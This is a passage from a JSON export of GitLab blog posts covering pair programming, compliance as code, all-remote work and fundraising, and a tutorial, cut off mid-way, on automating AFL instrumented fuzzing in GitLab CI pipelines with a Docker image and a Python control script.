of\nengagement](https://www.wsj.com/articles/SB10001424052970204425904578072950518558328),\nand in an Agile framework, a culture of continuous learning helps improve all aspects of delivery.\n\n> “When I was a junior developer, I found it very helpful to talk through my\nthought process and hear how senior developers approached the same problem. But,\nas an introvert, I found it exhausting to do all day, every day.” –\n[Jennie Louie](/company/team/#jennielouie), test automation engineer, Enablement\n\nAgile models often include the value of continuous learning to help everyone –\nfrom C-level to junior level – develop new skills to remain adaptable and productive.\nPairing sessions provide a platform from which teammates can learn in tandem.\n\n> “I’ve never done ‘strict’ pairing with a driver/navigator, only the relaxed kind\nwhere you just chat and sometimes switch keyboards. And while I can't really imagine\npairing full-time, I guess with the right pair and some practice it could indeed be\na great experience.” – [Markus Koller](/company/team/#toupeira), backend engineer, Create:Editor\n\nThe drawbacks to pair programming might make you hesitate, but I encourage you to\ntake a chance on it, especially if you want to accelerate delivery. Here are a\nfew pros and cons of pairing to help you understand the process:\n\n### Advantages of pair programming\n\nDirectly collaborating with a teammate can increase morale and inject fun and\ndiversity in one’s day. By working alongside each other, teammates can learn\ndifferent coding practices, workflow techniques, and new ways of approaching\nproblems, which increases innovation and efficiency and decreases knowledge silos.\n\n> “Pair programming can be great for onboarding, mentoring, and [rubber ducking](https://en.wikipedia.org/wiki/Rubber_duck_debugging)\ndifficult problems, since teammates receive immediate\nfeedback.” – [Andrew Kelly](https://gitlab.com/ankelly), senior security engineer, [Application Security](/topics/devsecops/)\n\nJunior developers benefit when pair programming with senior developers, since they’ll\ngain strong industry knowledge. Meanwhile, senior developers get teaching experience\nand the ability to think critically about solutions.\n\n> “Programming is fairly abstract. When you have to explain a concept verbally, it\noften makes you realize you're missing pieces or that there are better\nways to solve problems than your initial idea.” – [Brandon Lyon](/company/team/#brandon_m_lyon), marketing web developer/designer\n\nRegardless of experience level, everyone can benefit from pairing sessions, since\nthere is no right answer in programming. I consider software development a multi-faceted\nendeavor in which imagination and creativity are driving forces. Based on knowledge,\nexperience, and learning styles, people approach some aspects of code with\na different understanding of how it ties into existing systems. When pairing, people can\ndiscuss these perspectives and assess which approach is best.\n\n### Disadvantages of pair programming\n\nPairing might sound like the solution to many of your delivery problems, but it’s\nnot all roses and rainbows.\n\nGiven the success of pairing, teammates might be tempted to join forces a little\ntoo often. Pair programming can feel inefficient if overdone or used for tasks\nsuch as boilerplate code, smaller and well-defined changes, and [yak shaving](https://www.techopedia.com/definition/15511/yak-shaving).\n\n> “Pair programming is not a silver bullet. Some software solutions just need a\nsingle person to hunker down and work it out before sharing with others.” – [Andrew Kelly](https://gitlab.com/ankelly)\n\nIf teams are just starting out with pairing, it can take practice and patience\nto be a “good pair,” which can be difficult even for experienced pair programmers.\nDo retros after a pairing session to understand what worked well, what didn’t work,\nand how you can improve future sessions.\n\n## See it in action\n\nNow that you know a bit more about pair programming, you might feel ready to take\nthe plunge. At GitLab, we 💖 pairing. Most pairing sessions occur when developers\nwork at the same station, but as an [all-remote company](/company/culture/all-remote/),\nwe’ve found ways to make it work.\n\n> “Remote pair programming can be tougher than in-person pairing. Distance plus the\ntooling isn’t always the best, but it’s not impossible.” – [Andrew Kelly](https://gitlab.com/ankelly)\n\nGitLab’s Support team created a [dedicated project and issue templates for pairing\nsessions](https://gitlab.com/gitlab-com/support/support-training/issues?label_name%5B%5D=pairing).\n\n> “In Support, we do pairing sessions (or group ‘crush sessions’) and find we often\nget through _more_ tickets when working together, so it's something we're tracking\nas a milestone for each quarter.” – [Cynthia Ng](/company/team/#TheRealArty)\n\nOver in engineering, the Frontend team has also been [experimenting with how to support\npair programming](https://gitlab.com/gitlab-org/frontend/general/issues/12). The\nteam has used VSCode live share a few times but enjoys open discussion and sending\npatches to each other.\n\n> “The best format so far is someone posts a \"🍐 request\" in the #frontend_pairs\nSlack channel – people show interest – a time is scheduled on the calendar – then\nwe do somewhat of a mob programming session.” – [Paul Slaughter](/company/team/#pslaughter), frontend engineer, Create:Editor\n\nEvery software team hears the importance of acceleration, and it can be a daunting\nthought, especially when faced with complex problems. The next time you find\nyourself dragging your fingers across the keyboard and dreading that next line of\ncode, consider pairing up with a teammate to tackle issues together.\n\n> “Pairing will look different for everyone. Anything that encourages\ncommunication, engaged knowledge sharing, and breaking our engineering silos is\ngood.” – [Paul Slaughter](/company/team/#pslaughter)\n\nCover image by [Jonathan Mast](https://unsplash.com/@jonathanmast) on [Unsplash](https://unsplash.com/photos/RW6Wz9QaoKk)\n{: .note}\n",[1899,2368,4103,1444],{"slug":27935,"featured":6,"template":678},"agile-pairing-sessions","content:en-us:blog:agile-pairing-sessions.yml","Agile Pairing Sessions","en-us/blog/agile-pairing-sessions.yml","en-us/blog/agile-pairing-sessions",{"_path":27941,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27942,"content":27947,"config":27951,"_id":27953,"_type":16,"title":27954,"_source":17,"_file":27955,"_stem":27956,"_extension":20},"/en-us/blog/welcome-to-gitlab-unfiltered",{"title":27943,"description":27944,"ogTitle":27943,"ogDescription":27944,"noIndex":6,"ogImage":18477,"ogUrl":27945,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27945,"schema":27946},"Welcome to the home of GitLab Unfiltered","The GitLab Unfiltered blog is user-generated content by the GitLab team.","https://about.gitlab.com/blog/welcome-to-gitlab-unfiltered","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Welcome to the home of GitLab Unfiltered\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2019-08-20\",\n      }",{"title":27943,"description":27944,"authors":27948,"heroImage":18477,"date":27931,"body":27949,"category":6634,"tags":27950},[19026],"\n\nIn the spirit of [transparency](https://handbook.gitlab.com/handbook/values/#transparency) and \"[everyone can contribute](/company/mission/#mission),\" the GitLab Unfiltered blog is user-generated content by the GitLab team.\n\nAny GitLab team member is free to publish to the Unfiltered blog, provided that they have a peer review their post first.\nPlease read the [GitLab Unfiltered handbook](/handbook/marketing/blog/unfiltered/) to find out how to contribute.\n\nWatch this space!\n",[676],{"slug":27952,"featured":6,"template":678},"welcome-to-gitlab-unfiltered","content:en-us:blog:welcome-to-gitlab-unfiltered.yml","Welcome To Gitlab Unfiltered","en-us/blog/welcome-to-gitlab-unfiltered.yml","en-us/blog/welcome-to-gitlab-unfiltered",{"_path":27958,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27959,"content":27965,"config":27970,"_id":27972,"_type":16,"title":27973,"_source":17,"_file":27974,"_stem":27975,"_extension":20},"/en-us/blog/get-started-compliance-as-code",{"title":27960,"description":27961,"ogTitle":27960,"ogDescription":27961,"noIndex":6,"ogImage":27962,"ogUrl":27963,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27963,"schema":27964},"Why building compliance as code in DevOps will benefit your entire company","Read here on how to integrate compliance as code into your DevOps cycle and why it's important to have in your business","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680734/Blog/Hero%20Images/compliance-as-code-header.jpg","https://about.gitlab.com/blog/get-started-compliance-as-code","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why building compliance as code in DevOps will benefit your entire company\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vanessa Wegner\"}],\n        \"datePublished\": \"2019-08-19\",\n      }",{"title":27960,"description":27961,"authors":27966,"heroImage":27962,"date":27967,"body":27968,"category":8943,"tags":27969},[22656],"2019-08-19","\n\nCompliance, both regulatory and self-imposed, is another area where the shift-left\nmovement has taken hold. By building compliance into your workflow with compliance as code methods, your\nteam can save time while producing secure, low-risk code.\n\n## What is compliance as code?\n\nCompliance as code methods ensure that the correct regulatory or company\ncompliance requirements are fulfilled with zero-touch on the path to production.\nIt builds compliance into development and operations.\n\nThe utilization of compliance as code tools enable stakeholders to ensure that production procesesses are compliant by means of defining how resources must be configured. Such a structure often allows these tools to automatically adjust resources into a compliant state in order to meet these pre-defined compliance requirements.\n\nThis type of minimal-friction compliance is a crucial solution for large\nenterprises – especially those subject to complex regulation (such as enterprises\noperating in healthcare or financial services). By building compliance into the\n[DevOps lifecycle](/topics/devops/), you will streamline the workflow and save developers valuable\ntime during review and testing.\n\n## Benefits of compliance as code\n\nAdopting compliance as code brings a number of advantages and new operational capabilities. \n\n- **It’s easier to stay compliant during compliance rule change periods.** When a change happens in regulatory compliance frameworks, awareness and remediation of any issues happen more quickly because teams don’t have to manually overhaul processes or re-train.\n- **More natural alignment between developers and risk assessment teams.** There is more unity between teams when the compliance controls are already defined as code. It’s then possible to embed compliance rules into delivery processes and enable compliant delivery by default. \n- ** A lot of time and money saved.** Automation cuts out costly and time-consuming manual work. When automated compliance as code is in place, there’s a reduced risk of costly fines and data breaches. \n- **It’s all scalable.** Adopting compliance as code means adopting consistency across teams and an organization, regardless of size. This consistency prevents ambiguity and bottlenecks in maintaining compliance. \n\n## Challenges of compliance as code\n\nDevOps means experiencing changes often and quickly, and despite the benefits that automated compliance as code brings, it can also be a challenge. It can sometimes be difficult for security to keep up with the speed of change.\n\nAnd sometimes, even automated compliance as code isn’t perfect. It’s important to remember that there’s no cap on how careful you should be when it comes to DevOps compliance. Despite having automation in place, a pair or two of human eyes open to keep watch is still useful – even if it means a possible increase in human error. \n\n## How to impliment compliance as code\n\nAs [Jim Bird wrote for O’Reilly](https://www.oreilly.com/learning/compliance-as-code),\ncompliance as code policies must be defined up front, and will bring together\nmanagement, compliance, internal audit, PMO, and infosec leaders. This group\nwill work together to define rules and control workflows. Management also needs\nto understand how operational and other risks will be handled throughout the\npipeline.\n\nHow your company does establish compliance as code policies [will depend on how your team is structured](/topics/devops/build-a-devops-team/)\nbut regardless of how your teams interact, transparency is required. To ensure\nthat information is shared and decisions are made collaboratively, consider\nestablishing the following guidelines:\n\n- **Peer reviews**: The first review cycle for larger changes should be manual, to\nensure no changes are made without at least one other person verifying the\nchange. Reviewers can be assigned randomly to ensure the quality of review.\n- **Static application security testing**: [Static\n(or white box) testing](/blog/developer-intro-sast-dast/) should be done for every code change, in addition to\nmanual reviews.\n- **Subject matter expert reviews for high-risk code**: For code that the management team defines as\nhigh-risk (such as security code), changes should be reviewed by a subject matter\nexpert.\n- **Regulated access controls**: Management should keep access in check, both so that\nchanges aren’t made by a single engineer, and so that every change flows through\nthe workflow and can be reviewed by anyone with access to the dashboard.\n\n### Enhance technology with culture\n\nTechnology and processes will only work if your team cultures are aligned with your goal – and culture starts\nat the top. Team leaders should promote and exemplify a security-first\nmentality and openness to collaborative change. This will be a new way of\nthinking for some, but it will help teams adopt the shift-left trend, ultimately\nsaving everyone time and reducing business risk.\n\n### Compliance and open source\n\nIn 2015, [The Linux Foundation found that more than 60% of companies build products with open source software](https://www.linuxfoundation.org/blog/2015/06/why-companies-that-use-open-source-need-a-compliance-program/), but more\nthan half of those companies don’t have formal procedures in place to ensure their\nsoftware complies with open source licenses and regulations. Companies should\ncreate a free and open source software (FOSS) compliance program not only to\nabide by copyright notices and license obligations, but also to protect company\nIP and third-party source code from disclosure.\n\n## How we do compliance at GitLab\n\nWe [began our formalized compliance program](/blog/choosing-a-compliance-framework/)\ntowards the end of our Series C funding round, which was fairly early compared\nto other businesses of our size. The benefit of starting early was that we were\nable to implement security controls while we were still developing and evolving\nour operating processes, instead of retrofitting security to the business. The\nkey decision in our approach was choosing between independent or aggregate\nsecurity controls: We chose the aggregate route, leveraging [Adobe’s CCF](https://blogs.adobe.com/security/2017/05/open-source-ccf.html),\nrather than implementing industry frameworks individually. This allowed us to\nmitigate overlapping asks to GitLab teams, which enabled an agile and efficient\nprogram standup, and gave the compliance group internal credibility.\n\n## Compliance as code provides benefits across your ecosystem\n\nThere are benefits to everyone from the developer to the third-party auditor when compliance is baked into code from the beginning. These benefits include:\n- **Time saved**: Your\nteams will spend less time passing code fixes back and forth.\n- **Compliance transparency**: Management will\nunderstand where and how your software abides by compliance requirements.\n- **Routine reporting streamlines auditing**: Reports throughout the DevOps lifecycle provide documentation and proofs of\nrecord that will help management track and streamline any regulatory audit\nprocedures.\n\n## Common compliance as code tools\n\nGoogle Cloud Platform, Amazon Web Services, and Azure are all cloud services that can be used in compliance as code. And oftentimes, these tools are even more effective when paired with native tools. \n\nThrough proper tool adoption, the three core actions of a compliance strategy can be automated: prevention, detection, and remediation.\n\nCover image by [Hack Capital](https://unsplash.com/@hackcapital?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/code?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[2368,1207,4103,674,942,1444],{"slug":27971,"featured":6,"template":678},"get-started-compliance-as-code","content:en-us:blog:get-started-compliance-as-code.yml","Get Started Compliance As Code","en-us/blog/get-started-compliance-as-code.yml","en-us/blog/get-started-compliance-as-code",{"_path":27977,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27978,"content":27984,"config":27989,"_id":27991,"_type":16,"title":27992,"_source":17,"_file":27993,"_stem":27994,"_extension":20},"/en-us/blog/all-remote-fundraising",{"title":27979,"description":27980,"ogTitle":27979,"ogDescription":27980,"noIndex":6,"ogImage":27981,"ogUrl":27982,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27982,"schema":27983},"How to raise funds as an all-remote startup","GitLab CEO Sid Sijbrandij and podcast host Maren Kate unpack why venture firms struggle to fund all-remote startups.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673152/Blog/Hero%20Images/remotefundraisinghurdle.jpg","https://about.gitlab.com/blog/all-remote-fundraising","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to raise funds as an all-remote startup\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2019-08-16\",\n      }",{"title":27979,"description":27980,"authors":27985,"heroImage":27981,"date":27986,"body":27987,"category":8943,"tags":27988},[11618],"2019-08-16","\nIt’s possible to be an all-remote startup and get venture capital – GitLab is proof of that – but that doesn’t mean it’s easy. GitLab CEO [Sid Sijbrandij](/company/team/#sytses) spoke with [Maren Kate](https://www.linkedin.com/in/marenkate), host of the From 5 to 50 podcast, about why venture capitalists don’t love all-remote companies and how to work around that challenge. The [Remote AF](https://podcasts.apple.com/us/podcast/gitlab-raised-$100m-got-valued-at-over-billion-by-starting/id1467214647?i=1000444691471) podcast is aimed at startups looking to scale their companies from 5 to 50 employees and beyond.\n\nMaren starts by asking Sid how the concept of all-remote was received by the venture capital community. Sid’s response: “They don’t like remote. We missed out on investors because we are remote. We have skepticism from investors because we are remote.”\n\n## Stages of fundraising\n\nFundraising changes as a company grows, and it gets easier with time, Sid explains. “In the beginning they assess your team, then they assess your product, and then they assess your financials.” That’s why it can be hard for a newly-minted, all-remote startup to get fundraising traction in the early stages, he says. “When it comes to the team, they’re super skeptical they will be able to create something with all-remote. Then when it’s about the product they say, ‘Yes, maybe, but what about scaling?’ And then when it’s about the financials you can let the numbers speak for themselves so it’s less of a concern.”\n\nAnd in the early days of GitLab, even Sid was skeptical enough about all-remote to open an office. That office made our [series A financing](/blog/gitlab-announces-4m-series-a-funding-from-khosla-ventures/) easier, he says. But Sid soon realized that people weren’t coming into the office (San Francisco Bay Area traffic being what it is) so committed to an [all-remote philosophy](/company/culture/all-remote/). That decision made [series B fundraising efforts](/blog/gitlab-master-plan/) difficult. Some investors just said no to GitLab, but a few at least asked for an explanation. Even after an explanation, many remained dubious and in the end it took an enthusiastic VC who’d actually stayed up late reading through the handbook and vouched for GitLab to seal the deal.\n\n>Some of the best ideas are the least plausible.\n\nAll-remote companies are getting a toehold today, Sid offers, pointing to [InVision](/blog/pyb-all-remote-mark-frein/), WordPress, and Zapier. But there are still some factors that can inhibit fundraising options. “If we were to be acquired there’s probably a 50% discount, because for the acquiring company it’s so hard to bring people over to their headquarters,” Sid says. “Since an acquisition is the most likely outcome (for most startups), if you raise venture capital that depresses the evaluation you will get.”\n\n## Has co-location hit the wall?\n\nOn the upside, though, Sid thinks the limits of co-location are being made very clear. “Investors in San Francisco are all battling it out. They’re saying ‘Our portfolio companies are getting outbid by Google, by eBay, by Airbnb for engineering talent.’ Retention is an enormous problem at these companies. So they don’t like remote yet, but they’re starting to sour on the co-located model and all the disadvantages.”\n\nAnd while the all-remote path might be tough, Sid continues to stress the benefits to startups. “Remote offers you much easier hiring and scaling. Remote forces you to do the things you should be doing anyway, but you do them sooner.”\n\nAt the end of the day, Maren wonders whether some unconscious bias is at play. “If you see someone in an office, it makes them more successful,” she says, “but it’s not really that, it’s just human instinct.”\n\nSid agrees, and then adds perhaps the strongest argument in favor of all-remote – co-location can have a very dampening effect on innovation. “There's a lot of detrimental things that happen because some of the best ideas are the least plausible, like run an illegal taxi service, have people rent out their own home to strangers, or start competing with GitHub. And if you co-locate people, they're going to have to tell everyone what they do. And when they see people frowning, they're going to switch to something more plausible. And that's what you want to prevent.”\n\nListen to the whole conversation [here](https://podcasts.apple.com/us/podcast/gitlab-raised-$100m-got-valued-at-over-billion-by-starting/id1467214647?i=1000444691471).\n\nCover image by [Pau Casals](https://unsplash.com/@paucasals) on [Unsplash](https://unsplash.com)\n{: .note}\n",[676,3798,10921],{"slug":27990,"featured":6,"template":678},"all-remote-fundraising","content:en-us:blog:all-remote-fundraising.yml","All Remote Fundraising","en-us/blog/all-remote-fundraising.yml","en-us/blog/all-remote-fundraising",{"_path":27996,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27997,"content":28003,"config":28008,"_id":28010,"_type":16,"title":28011,"_source":17,"_file":28012,"_stem":28013,"_extension":20},"/en-us/blog/all-remote-is-for-everyone",{"title":27998,"description":27999,"ogTitle":27998,"ogDescription":27999,"noIndex":6,"ogImage":28000,"ogUrl":28001,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28001,"schema":28002},"Why we believe all-remote is for everyone","Darren Murph, leading GitLab's all-remote initiatives, shares why the future of work can be embraced today.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680729/Blog/Hero%20Images/dm-globe.jpg","https://about.gitlab.com/blog/all-remote-is-for-everyone","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why we believe all-remote is for everyone\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darren Murph\"}],\n        \"datePublished\": \"2019-08-15\",\n      }",{"title":27998,"description":27999,"authors":28004,"heroImage":28000,"date":28005,"body":28006,"category":6634,"tags":28007},[19653],"2019-08-15","\n\nWe're committed to [all-remote](/company/culture/all-remote/) work at GitLab – our whole work philosophy\nis designed around it. I joined GitLab to lead our all-remote\ninitiatives – here's a bit about my background and why I'm excited to join the team.\n\n### A pivotal moment in how society looks at remote work\n\nGitLab is known by many as an [open core company](/blog/monetizing-and-being-open-source/) which develops software for the software\ndevelopment lifecycle. What I want the world to know is that it’s *also* a pioneer in remote work,\nbuilding a transparent, empowered workforce of [over 800 team members across 57+ countries](/company/team/).\nYou read that correctly. Over 800 of us, none of whom are required to work from a central\noffice, are making GitLab one of the world’s largest all remote companies.\n\nI was recently given the honor of joining GitLab to lead its all remote initiatives. The\ncompany’s remarkable growth and impact on the world is well documented, but as I’ve\nengaged with team members – as well as pets and families in the background! – I’m beginning to\nunderstand that we’ve barely scratched the surface of what’s possible.\n\n![Embracing the remote lifestyle in Alabama Hills, California](https://about.gitlab.com/images/blogimages/dm-alabama-hills-california.jpg){: .shadow.medium.center}\nEmbracing the remote lifestyle in Alabama Hills, California\n{: .note.text-center}\n\nI believe we’re nearing a sea change in how we work. It’s easy to point to stratospheric rent prices in major urban centers, soul-crushing gridlock, and shifting mindsets in what society values in a career as reasons for turning to remote work.\n\nBut I think it’s deeper than that. We yearn to explore, and work doesn't have to stand in the way.\n\n### Positive change is possible as all-remote becomes the default for many companies\n\nThe internet has never been faster nor more ubiquitous. Computing power has never been more\naccessible. It’s time for organizations large and small to embrace these realities, to open their\nrecruiting pipelines to the world, to divert real estate budget to R&D and to recognize that\nwe’re all better workers when we’re given the space to feel truly alive.\n\nMore importantly, the communities that matter to each of us have never needed our presence more.\nWorking remotely gives each person the autonomy to serve in a place that matters to them –\na place that has shaped them – contributing significantly to the wellbeing of a population\nthat may be at risk of losing its foundation, should talent continue to flee to the usual job centers.\n\n[Research from the University of New Hampshire](https://carsey.unh.edu/publication/rural-depopulation) has found that \"35% of rural counties in the United States are experiencing protracted and significant population loss.\" Speaking to shrinking towns across Europe, [a 2016 report from the European Parliamentary Research Service](http://www.europarl.europa.eu/thinktank/en/document.html?reference=EPRS_BRI(2016)586632) notes that \"younger members of society prefer to migrate to more economically vibrant regions and cities in search of better job prospects as, in most of these territories, professional opportunities remain limited and confined to specific fields (e.g. agriculture and tourism).\" I believe all-remote has the power to pause, and perhaps even reverse, these trends of depopulation.\n\n![Remote work can have outsized positive impact in cities like Accra](https://about.gitlab.com/images/blogimages/dm-accra-ghana.jpg){: .shadow.medium.center}\nRemote work can have outsized positive impact in cities like Accra\n{: .note.text-center}\n\nWhat would traffic in London, Moscow, Mexico City, and Rome look like if every person who *could* work remotely, did?\nWhat talent might we surface by tapping into burgeoning tech hubs in cities like Accra or Lagos? How\nmany San Franciscans – locals who have been priced out of their own city – could move back if some\nof the world’s greatest technical minds were empowered to work from anywhere? What would\nunderserved communities in rural regions across the globe be capable of if well-paying jobs\ncame their way via the internet?\n\nI don’t ask these questions hypothetically. I ask them because I want to leverage GitLab’s\nplatform to change the narrative on work, and I fully expect that we’ll see those answers in\nmy lifetime. It doesn’t hurt that GitLab (the product) is [tailor-made to enable remote work](/free-trial/),\neven across large teams.\n\n### Creating more remote opportunities for others\n\nI’ve had the great privilege of working remotely my entire career. I’ve shared memories with my\nfamily in over 50 countries and have celebrated milestones with colleagues whilst flying over a\nmillion miles on a single airline (thank you, Delta!).\n\nMy wife and I experienced the beautiful and transformative journey of adoption because I\nworked for an employer that trusted me to excel from a place I needed to be to see it through.\nI’ve met countless GitLabbers who have never been happier, more fulfilled, or more engaged with\ntheir family and community, all because they’re empowered to work remotely.\n\n![Remote work encourages exploration of both locales and cultures](https://about.gitlab.com/images/blogimages/dm-delta-munich-germany.jpg){: .shadow.medium.center}\nRemote work encourages exploration of both locales and cultures\n{: .note.text-center}\n\nI share this because I realize I’m one of the fortunate few, and I long for countless others to have\nthese same opportunities. GitLab is positioned to be of service to everyone – from startups, to\nentrepreneurs, to the world’s largest enterprises – in creating a remote infrastructure that works.\nI couldn’t be more excited to help enable precisely that.\n\nIf you're new to the concept of all-remote, I'd encourage you to dive into\nour [Handbook](/handbook/)\nand [learn how it works at GitLab](/company/culture/all-remote/tips/).\n\nIf you're ready to embrace the freedoms enabled by all-remote, browse\nour [vacancies](/jobs/) and join me on this journey!\n",[754,676,3798,7715],{"slug":28009,"featured":6,"template":678},"all-remote-is-for-everyone","content:en-us:blog:all-remote-is-for-everyone.yml","All Remote Is For Everyone","en-us/blog/all-remote-is-for-everyone.yml","en-us/blog/all-remote-is-for-everyone",{"_path":28015,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28016,"content":28022,"config":28029,"_id":28031,"_type":16,"title":28032,"_source":17,"_file":28033,"_stem":28034,"_extension":20},"/en-us/blog/american-fuzzy-lop-on-gitlab",{"title":28017,"description":28018,"ogTitle":28017,"ogDescription":28018,"noIndex":6,"ogImage":28019,"ogUrl":28020,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28020,"schema":28021},"GitLab automates instrumented fuzzing via American Fuzzy Lop","An example of how to automate instrumented fuzzing with American Fuzzy Lop using pipelines.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680723/Blog/Hero%20Images/aerial-shot-birds-eye-view.jpg","https://about.gitlab.com/blog/american-fuzzy-lop-on-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"American Fuzzy Lop on GitLab: Automating instrumented fuzzing using pipelines\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Luka Trbojevic\"}],\n        \"datePublished\": \"2019-08-14\",\n      }",{"title":28023,"description":28018,"authors":28024,"heroImage":28019,"date":28026,"body":28027,"category":674,"tags":28028},"American Fuzzy Lop on GitLab: Automating instrumented fuzzing using pipelines",[28025],"Luka Trbojevic","2019-08-14","\n\nThis year at [BSides Kansas City](https://2019.bsideskc.org/), many of my conversations were about fuzzing and integrating security into the [DevOps process](/topics/devops/). Fuzzing has been around for a very long time. Back in 2006, I wrote my first (very simple) fuzzer to mutate .zip files and pass them to anti-virus programs; even at that time, the case for fuzzing had been made many years prior. Today, [American Fuzzy Lop (AFL)](http://lcamtuf.coredump.cx/afl/), written by Michal Zalewski, stands as one of the best fuzzers available, and is one of my favorite tools.\n\nAnecdotally, I've been seeing good arguments made for the adoption of fuzzing as part of the software security lifecycle more frequently than ever before. At BSides Kansas City, I listened to an interesting conversation at the speakers' dinner where the case was made that fuzzing is reduced to a niche, nice-to-have, wishlist item incorporated into workflows by exploit developers and only the largest of enterprises. I largely agree, but I like to think of why that's the case.\n\nMy general sense is that instrumented fuzzing, as a function of the software lifecycle, is still fraught with too much friction for widespread adoption. For something to take hold at scale, be useful to a large number of people, and have its benefits passed down to consumers, it needs to be quick and simple. Right now, fuzzing as something an **organization** does as part of its standard practice is not quick or simple. So, even if you have someone well-versed in fuzzing and exploit development, chances are fuzzing won’t survive as an organizational function.\n\nIn the hope that we can move the conversation forward, I wanted to give back something actionable – yet simple – to help folks incorporate fuzzing into their workflows. I’ve always found practical, hands-on examples to be the most helpful, so I put together a baseline sample showing how fuzzing with AFL can be automated as part of a pipeline.\n\nTwo important notes:\n\n* This blog isn’t an introduction to instrumented fuzzing and assumes you have a good understanding of it already, including what a test harness is and how to write one.\n* [Fuzzing as a feature of GitLab is in the works](https://gitlab.com/gitlab-org/gitlab-ee/issues/10852), but it's not here just yet. Also, the [first iteration](https://gitlab.com/gitlab-org/gitlab-ee/issues/8453) doesn't seem to include instrumented fuzzing.\n\nYou can find all code, including the Dockerfile, and detailed setup/modification instructions in the [AFL-GitLab repository](https://gitlab.com/ltrbojevic/afl-gitlab). **Please familiarize yourself with the background in the repository first!**\n\n## Docker image setup\n\nI prefer to work with Docker images, so I’ve used the [Docker executor](https://docs.gitlab.com/runner/executors/docker.html). AFL, your code, the test harness (if applicable), and the controlling Python script (more on that below) are in your Docker image.\n\nFor this example, we’re using Ubuntu 16.04. You can use any operating system you prefer. I run Ubuntu 16.04 for my fuzzing jobs, which is why I’ve used it here:\n\n`FROM ubuntu:16.04`\n\nI copy a local `fuzzing/` folder with all of my files to `/usr/src/` in the Docker image. This can be changed to whatever works for you:\n\n`COPY fuzzing/ /usr/src/`\n\nI set the user as `root` because I just want it to work. Customize this per your operating system, threat model, and risk tolerance:\n\n`USER root`\n\nThen just install whatever packages you need:\n\n```\nRUN apt-get update && apt-get install -y \\\n  sudo \\\n  software-properties-common \\\n  build-essential\n```\n\nNote that this image is optimized for compatibility and efficiency only.\n\n## Our sample target program\n\nFor this example, we’re going to be fuzzing [vulnerable.c](https://gitlab.com/ltrbojevic/afl-gitlab/blob/master/fuzzing/afl-gitlab/vulnerable.c). It features a total absence of security and C best practice and is designed to intentionally generate at least one unique crash within the first few seconds of fuzzing. It’s a quick and simple way to verify everything else is working.\n\n## Setting up AFL\n\nInstrumenting your program is done within the `.gitlab-ci.yml` file as part of the `before_script` parameter:\n\n```\nrun-afl:\nstage: run-afl\nbefore_script:\n- cd /usr/src/afl-2.52b\n- make\n- make install\n- cd /usr/src/afl-gitlab\n- CC=/usr/src/afl-2.52b/afl-gcc AFL_HARDEN=1 make\n- echo core >/proc/sys/kernel/core_pattern\n- echo $CI_PROJECT_DIR\n```\n\nI include `echo $CI_PROJECT_DIR` as a troubleshooting measure (more below).\n\n### A note on performance\n\nThis specific example uses GitLab.com [Shared Runners](https://docs.gitlab.com/ee/ci/runners/#shared-runners) for demonstration’s sake. The performance limitations of Shared Runners in the context of fuzzing make it infeasible to run instrumented fuzzing jobs in a performant way. Instead, you could consider using a self-hosted runner.\n\n## Initializing AFL\n\nThe problem with initiating AFL in `.gitlab-ci.yml` is AFL will continue to run until interrupted, so it must be stopped programmatically and that stop must be configurable to only run after a defined amount of time.\n\nTo solve this problem, we can have the pipeline run a script to manage the execution and handling of AFL. I prefer to use Python, but you can use any language you like. In Python, we can use the `time.sleep()` function. The Python script will initiate AFL and `sleep()` will be used to run AFL for whatever length of time you set. Afterwards, AFL will be stopped.\n\nIn `.gitlab.ci-yml`, we run this script **after** AFL is installed and our program is instrumented. We do this by doing the instrumentation using the `before_script` parameter and running the Python script using the `script` parameter:\n\n```\nscript:\n- python3 /usr/src/fuzzing/afl-gitlab/afl-gitlab.py\n```\n\n`afl-gitlab.py` is where the magic happens and it serves as the control center where the handling and synchronization of the different events that need to happen are managed and customized.\n\nTo start AFL, we use `subprocess.Popen()` to run the command:\n\n```subprocess.Popen([\"afl-fuzz\", \"-i\", \"inputs\", \"-o\", \"outputs\", \"./vulnerable\"])```\n\nTo control exactly how long AFL will run, we use `time.sleep()` -- in this example, it’s 30 seconds:\n\n```\ntime.sleep(30)\n```\n\nAfter that, we need to stop AFL in a way that doesn’t cause the pipeline to fail. If you exit `afl-python.py` itself like you might do locally, the job will fail. To get around this, we use `subprocess.Popen()` to stop AFL:\n\n```\nsubprocess.Popen([\"pkill\", \"-f\", \"afl\"])\n```\n\nLastly, we exit the `afl-python.py` in a way that doesn’t cause the job to fail:\n\n```\nos._exit(0)\n```\n\nIt’s important your script doesn’t cause the job to fail because everything else that needs to happen, won’t:\n\n![job fail message](https://about.gitlab.com/images/blogimages/jobfail.png){: .shadow.medium.center}\n\nJust in case the job fails and you don’t want your entire pipeline to fail, I set 